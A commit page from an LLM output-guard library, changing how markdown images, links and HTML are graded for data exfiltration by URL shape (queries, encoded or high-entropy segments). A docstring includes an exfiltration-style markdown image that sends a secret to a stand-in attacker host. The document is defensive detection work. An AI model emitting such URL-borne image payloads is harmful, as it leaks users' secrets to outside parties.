open/llm-ingestion-pipeline-security
1
0
Fork 0
Code Issues Releases 5 Activity

fix(calibration): grade active content on URL shape, not construct type

Browse source 
v0.3.0 made the untrusted upload path unusable: measured on both doors, an
ordinary remote image fail_secure'd and an ordinary link/autolink/refdef
quarantined, so only documents without external references persisted.

Two independent defects compounded; neither fix works alone:

1. `markdown-image: HIGH` fired on any external image. The exfil primitive is a
   URL that moves bytes outward, not an image. `is_ordinary_url` now grades on
   shape - http(s)/protocol-relative, no query, no userinfo, no percent-escape,
   no opaque host label or path segment -> LOW; anything data-carrying keeps the
   carrier's severity. raw-html and data: URIs stay HIGH unconditionally.
   Opacity reuses entropy's primitives; floors calibrated against real doc URLs
   (worst legit token H=4.08, exfil segments 4.36-4.54) and frozen in
   calibration.

2. The quarantine_default floor fired on ANY finding, a premise that broke when
   every ordinary link became a finding. It now fires at MEDIUM+ - a no-op for
   every detector that shipped before 0.3.0 (no LOW/INFO exists), which is what
   makes this a patch rather than a minor.

The corpus blind spot that let this pass 522 green tests is closed: the FP
corpus carries realistic markdown and is asserted on the OUTPUT gate under
PRESET_USER_UPLOAD, with a counter-corpus of exfil-shaped URLs that must still
block. Beaconing and short opaque segments are conceded in LIMITATIONS and
asserted by the coverage matrix rather than papered over.

No new public API; no new preset (0.4.0 work); allow_reserved default unchanged.
This commit is contained in:
Kjell Tore Guttormsen 2026-07-25 15:36:02 +02:00
commit 6e9b8168e3
13 changed files with 533 additions and 46 deletions
Download patch file Download diff file Expand all files Collapse all files

132
src/llm_ingestion_guard/active_content.py
View file

@ -24,6 +24,25 @@ those formats' core mechanism. ``neutralize`` keeps its broader defang-anything
behavior: it is opt-in, and bracketed dots in a relative path are auditable,
not blocking.
**Severity grades on URL shape, not construct type** (0.3.1). The exfiltration
primitive is not "an image" — it is a URL that moves bytes to a host the
attacker controls. ``![diagram](https://example.com/arch.png)`` carries nothing
outward, so grading it like ``![x](https://evil.example/leak?d=SECRET)`` made
ordinary documents unpersistable on the upload preset (measured on v0.3.0: every
document with one remote image fail-secured). :func:`is_ordinary_url` separates
the two axes: a URL that only *names* a remote document is
``ACTIVE_CONTENT_ORDINARY_SEVERITY``; anything that can carry a value —
a query, userinfo, percent-escapes, or an opaque host label / path segment —
keeps the carrier's full severity. ``raw-html`` and ``data:`` URIs have no
ordinary form and stay HIGH unconditionally: they are active whatever the URL.
The opacity test reuses ``entropy``'s primitives rather than inventing a second
heuristic, and it is a *backstop*, not the main line of defence: a literal
credential in a URL is caught by the secret-egress patterns in the same
``scan_output`` pass regardless of the severity assigned here. The residual
holes it leaves — pure beaconing, short opaque segments — are documented in
``docs/LIMITATIONS.md`` rather than papered over.
Scan order mirrors ``neutralize``'s pass order, with each matched construct
masked out of the working text before the next pass — so a construct is counted
once by its most specific class (an image is not also a link; an autolink is
@ -36,8 +55,16 @@ without recreating the affordance it flagged.
from __future__ import annotations
import re
from urllib.parse import urlsplit
from .calibration import ACTIVE_CONTENT_SEVERITY as _SEVERITY
from .calibration import (
ACTIVE_CONTENT_ORDINARY_SEVERITY as _ORDINARY_SEVERITY,
ACTIVE_CONTENT_SEVERITY as _SEVERITY,
URL_OPAQUE_ENTROPY_H as _OPAQUE_H,
URL_OPAQUE_HEX_MIN_LEN as _OPAQUE_HEX_LEN,
URL_OPAQUE_MIN_LEN as _OPAQUE_MIN_LEN,
)
from .entropy import is_hex_blob, shannon_entropy, try_decode_base64
from .report import Finding, Report, Source
# --- URL defang (shared primitive) -------------------------------------------
@ -139,6 +166,62 @@ def _always(url: str) -> bool:
return True
# --- URL shape: can this URL carry data outward? -----------------------------
# Only http(s) and protocol-relative URLs have an "ordinary" form. Every other
# scheme (javascript:, data:, file:, ftp:, ...) is active or fetches out-of-band
# on its own terms and never grades down.
_ORDINARY_SCHEME_RE = re.compile(r"^(?:https?://|//)", re.IGNORECASE)
# Host labels and path segments: the separators that delimit a *name*. A token
# that survives this split and still looks like a blob is carried data.
_URL_TOKEN_RE = re.compile(r"[/._\-~+,;:=&$!*'()]+")
def _is_opaque(token: str) -> bool:
"""True if a URL token looks like carried data rather than a name.
Three reused ``entropy`` signals, cheapest first: base64 that decodes to
printable text (the encoding an exfil path actually uses), a hex id at the
URL-token floor, and — as a backstop for random-looking tokens that are
neither — length-paired Shannon entropy.
"""
if try_decode_base64(token) is not None:
return True
if len(token) >= _OPAQUE_HEX_LEN and is_hex_blob(token):
return True
return len(token) >= _OPAQUE_MIN_LEN and shannon_entropy(token) >= _OPAQUE_H
def is_ordinary_url(url: str) -> bool:
"""True if ``url`` merely *names* a remote document, carrying nothing outward.
Ordinary means all of: an http(s) or protocol-relative scheme, no query, no
userinfo, no percent-escapes, and no opaque host label or path segment.
The fragment is deliberately excluded from the test: it is never sent to the
server, so it cannot carry data to the host that a renderer auto-fetches —
``…/overview#prerequisites`` is the single most common shape in real
documentation. Percent-escapes count as carrying, which grades a legitimate
``%20`` in a path as data-carrying; that false positive is accepted and
documented (``docs/LIMITATIONS.md``) because obfuscated encoding is a core
exfil primitive and the ambiguous case belongs on the review side.
"""
if not _ORDINARY_SCHEME_RE.match(url):
return False
try:
parts = urlsplit(url)
except ValueError: # malformed authority (bad IPv6, bad port) -> never ordinary
return False
if parts.query or parts.username or parts.password:
return False
# `netloc`, not `hostname`: the latter lowercases, which would destroy the
# mixed case a base64 payload smuggled into a subdomain depends on. Userinfo
# is already rejected above, so what is left is host[:port].
named = parts.netloc + parts.path
if "%" in named:
return False
return not any(_is_opaque(token) for token in _URL_TOKEN_RE.split(named) if token)
# Per-construct severities (_SEVERITY, imported above) live in `calibration` —
# zero-click auto-fetch/execute -> HIGH, click-required -> MEDIUM — the Node port
# shares them.
@ -153,25 +236,34 @@ def scan_active_content(text: str, source: Source = Source.OUTPUT) -> Report:
"""
report = Report()
def _flag(cls: str, count: int, evidence: str) -> None:
def _flag(cls: str, hits: list[tuple[str, bool]]) -> None:
"""Report one finding for ``cls``, graded by its *worst* member.
A class collapses to a single finding, so an exfil-shaped URL hiding
behind an ordinary one must set both the severity and the evidence —
otherwise the report would show an innocent URL next to a HIGH verdict.
"""
carrying = [evidence for evidence, ordinary in hits if not ordinary]
report.add(Finding(
label=f"active:{cls}", severity=_SEVERITY[cls], source=source,
detector="active_content", count=count,
evidence=redact(evidence), owasp="LLM05",
label=f"active:{cls}",
severity=_SEVERITY[cls] if carrying else _ORDINARY_SEVERITY,
source=source, detector="active_content", count=len(hits),
evidence=redact(carrying[0] if carrying else hits[0][0]), owasp="LLM05",
))
masked = text
def _scan(pattern: re.Pattern[str], url_group, keep) -> list[str]:
"""Collect defanged URLs of kept matches; mask every match with spaces
(same length, so line structure and later offsets survive)."""
def _scan(pattern: re.Pattern[str], url_group, keep) -> list[tuple[str, bool]]:
"""Collect ``(defanged url, is_ordinary)`` for kept matches; mask every
match with spaces (same length, so line structure and later offsets
survive)."""
nonlocal masked
hits: list[str] = []
hits: list[tuple[str, bool]] = []
def _sub(m: re.Match[str]) -> str:
url = m.group(url_group)
if keep(url):
hits.append(defang_url(url))
hits.append((defang_url(url), is_ordinary_url(url)))
return " " * len(m.group(0))
masked = pattern.sub(_sub, masked)
@ -181,34 +273,38 @@ def scan_active_content(text: str, source: Source = Source.OUTPUT) -> Report:
# then links, refdefs, autolinks, raw HTML, and standalone data: URIs.
imgs = _scan(MD_IMAGE_RE, "url", _has_external_target)
if imgs:
_flag("markdown-image", len(imgs), imgs[0])
_flag("markdown-image", imgs)
links = _scan(MD_LINK_RE, "url", _has_external_target)
if links:
_flag("markdown-link", len(links), links[0])
_flag("markdown-link", links)
refs = _scan(MD_REFDEF_RE, "url", _always)
if refs:
_flag("reference-link", len(refs), refs[0])
_flag("reference-link", refs)
autos = _scan(AUTOLINK_RE, "url", _always)
if autos:
_flag("autolink", len(autos), autos[0])
_flag("autolink", autos)
html: list[str] = []
# Raw HTML is active whatever its URL looks like (an event handler needs no
# URL at all), so every tag is flagged as carrying — no ordinary form.
html: list[tuple[str, bool]] = []
def _tag(m: re.Match[str]) -> str:
if not is_active_tag(m.group("name"), m.group("attrs") or ""):
return m.group(0)
html.append(URL_IN_TEXT_RE.sub(lambda u: defang_url(u.group(0)), m.group(0)))
html.append((URL_IN_TEXT_RE.sub(lambda u: defang_url(u.group(0)), m.group(0)), False))
return " " * len(m.group(0))
masked = HTML_TAG_RE.sub(_tag, masked)
if html:
_flag("raw-html", len(html), html[0])
_flag("raw-html", html)
# A `data:` URI carries its own payload; `is_ordinary_url` rejects the scheme
# outright, so this stays HIGH through the same path as the rest.
datas = _scan(DATA_URI_RE, 0, _always)
if datas:
_flag("data-uri", len(datas), datas[0])
_flag("data-uri", datas)
return report